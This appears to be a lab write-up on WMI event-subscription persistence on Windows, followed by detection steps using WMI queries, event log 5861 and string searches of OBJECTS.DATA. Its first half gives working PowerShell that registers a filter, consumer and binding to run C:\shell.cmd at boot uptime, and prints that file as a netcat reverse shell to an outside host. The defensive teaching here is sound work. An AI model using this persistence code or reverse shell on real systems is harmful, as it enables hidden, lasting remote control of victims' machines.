Abusing Windows Managent Instrumentation
Persistence, Privilege Escalation
WMI events are made up of 3 key pieces:
- event filters - conditions that the system will listen for (i.e on new process created, on new disk added, etc.)
- event consumers - consumers can carry out actions when event filters are triggered (i.e run a program, log to a log file, execute a script, etc.)
- filter to consumer bindings - the gluing matter that marries event filters and event consumers together in order for the event consumers to get invoked.
WMI Events can be used by both offenders (persistence, i.e launch payload when system is booted) as well as defenders (kill process evil.exe on its creation).
Creating
WMI __EVENTFILTER, WMI __EVENTCONSUMER and WMI __FILTERTOCONSUMERBINDING:# WMI __EVENTFILTER
$wmiParams = @{
ErrorAction = 'Stop'
NameSpace = 'root\subscription'
}
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
Name = 'evil'
EventNamespace = 'root\CIMV2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 1200"
}
$filterResult = Set-WmiInstance @wmiParams
# WMI __EVENTCONSUMER
$wmiParams.Class = 'CommandLineEventConsumer'
$wmiParams.Arguments = @{
Name = 'evil'
ExecutablePath = "C:\shell.cmd"
}
$consumerResult = Set-WmiInstance @wmiParams
#WMI __FILTERTOCONSUMERBINDING
$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Filter = $filterResult
Consumer = $consumerResult
}
$bindingResult = Set-WmiInstance @wmiParams
Note that the
ExecutablePath property of the __EVENTCONSUMER points to a rudimentary netcat reverse shell:c:\shell.cmd
C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe
Note the process ancestry of the shell - as usual, wmi/winrm spawns processes from
WmiPrvSE.exe:
On the victim/suspected host, we can see all the regsitered WMI event filters, event consumers and their bindings and inspect them for any malicious intents with these commands:
Note the
Query property suggests this wmi filter is checking system's uptime every 5 seconds and is checking if the system has been up for at least 1200 seconds:
Event consumer, suggesting that the
shell.cmd will be executed upon invokation as specified in the property ExecutablePath:
__FilterToConsum[email protected]
Get-WmiObject -Class __FilterToConsumerBinding -Namespace root\subscription
Microsoft-Windows-WMI-Activity/Operational contains logs for event
5861 that capture event filter and event consumer creations on the victim system:
If you suspect a host to be compromised and you want to inspect any
FilterToConsumer bindings, you can do it with PSRemoting and the commands shown above or you can try getting the file%SystemRoot%\System32\wbem\Repository\OBJECTS.DATAThen you can use PyWMIPersistenceFinder.py by David Pany to parse the
OBJECTS.DATA file and get a list of bindings like:./PyWMIPersistenceFinder.py OBJECTS.DATA
If you are limited to only the native *nix/cygwin utils you have to hand, you can get a pretty good insight into the bindings with the following command:
strings OBJECTS.DATA | grep -i filtertoconsumerbinding -A 3 --color
Below are the results:
From the above graphic, we can easily see that one binding connects two evils - the evil consumer and the evil filter.
Now that you know that you are dealing with
evil filter and evil consumer, use another rudimentary piped command to look into the evil further:strings OBJECTS.DATA | grep -i 'evil' -B3 -A2 --color
Note how we can get a pretty decent glimpse into the malicious WMI persistence even with simple tools to hand - note the
C:\shell.cmdand SELECT * FROM ... - if you recall, this is what we put in our consumers and filters at the very beginning of the lab:
Last modified 4yr ago